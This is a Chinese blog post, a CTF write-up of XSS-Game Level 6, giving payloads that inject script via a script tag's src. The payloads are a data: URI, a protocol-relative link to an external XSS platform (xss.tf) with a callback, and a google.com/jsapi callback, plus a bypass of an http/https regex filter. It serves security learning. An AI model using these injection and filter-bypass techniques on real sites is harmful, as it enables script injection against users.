• 如果您想对本站表示支持,请随手点击一下广告即可~
  • 本站致力于提供原创、优秀的技术文章~
  • 有任何疑问或建议 均可以在站点右侧栏处 通过各种方式联系站长哦~
  • CTF – XSS-Game解题报告 [Level 6 – Follow the 🐇]

    渗透测试 EXP 87阅读 0评论

    0. 指引


    1. 解题方法一(题目 “BUG”)

    明显注入点在 URL。

    查看页面源码发现, 无论在 URL 输入什么都会实时回显到 script 标签的 src 属性里面:

    即注入点是这样的: <script src="注入点" ></script>

    要在 script 标签的 src 属性执行 js ,可以构造这样的 payload: data:text/javascript,alert('exp')

    直接 pass。。最后一关简单到离谱。。

    2. 解题方法二(XSS 平台)

    其实这么简单就突破了,可能是这题的 BUG。

    因为我一开始没看题目的 Mission Objective 变成了这样:

    Find a way to make the application request an external file which will cause it to execute an alert().

    即作者期望我们利用 script 标签的 src 属性去调用其他站点的 恶意 js 脚本,再由该脚本回调当前网页 的 alert,估计作者也没想到可以被钻了空子。


    若按作者的思路解题,我们可以用 xss 平台做,例如: http://xss.tf

    注册 xss 平台后,任意创建一个项目,然后配置项目源码,勾选最后的“自定义代码”,输入一个 JS 函数 alert() ,最后查看项目代码,会给出访问这个项目的 URL,如这里为:http://xss.tf/IUa

    打开这个 xss 项目的 URL : http://xss.tf/IUa

    可以看见页面只打印了一个 JS 函数 alert() ,到这里我们构造这个 xss 平台的目的就完成了。


    2.1. 回调函数

    回到挑战页面,前面已经知道注入点是这样的: <script src="注入点" ></script>

    要从这里通过 xxs 平台回调 alert() 函数,只需要在 URL 末尾加上 callback=alert,即:

    <script src="http://xss.tf/gAk?callback=alert" ></script>

    回调原理大概是这样的:


    2.2. 验证绕过

    但是直接注入 http://xss.tf/gAk?callback=alert 是无法成功的,

    原因是题目对注入点做了正则校验,不允许输入以 http 或 https 开头的内容:

    但是绕过的方式也很简单,直接删掉 http:https: 即可,最终 payload 变成这样:

    //xss.tf/gAk?callback=alert


    在 web 网页中,以双斜杠 // 开头的 URL 写法有其特殊用途:

    • 它会判断当前的页面协议是 http 还是 https 来决定请求 url 的协议
    • 主要用于处理 [网站使用的协议] 和 [网页中请求的外网资源] 不一致的问题,达到无缝切换
    • 这种写法在 CSS 很常见,如:.omgomg { background: url(//exp-blog.com/imgs/exp.gif); }

    3. 解题方法三(谷歌 jsapi)

    查看 hits ,题目给出的一个提示是:google.com/jsapi?callback=foo

    打开页面发现,google 会实时根据 callback=foo 的值构造一个 foo 函数

    因此可以构造这样的 payload ://www.google.com/jsapi?callback=alert

    这样就可以省去自己搭建 xss 平台的麻烦了,一样可以 pass :


    转载请注明:EXP 技术分享博客 » CTF – XSS-Game解题报告 [Level 6 – Follow the 🐇]

    喜欢 (0) 分享 (0)
    发表我的评论
    取消评论

    表情

    Hi,您需要填写昵称和邮箱!

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址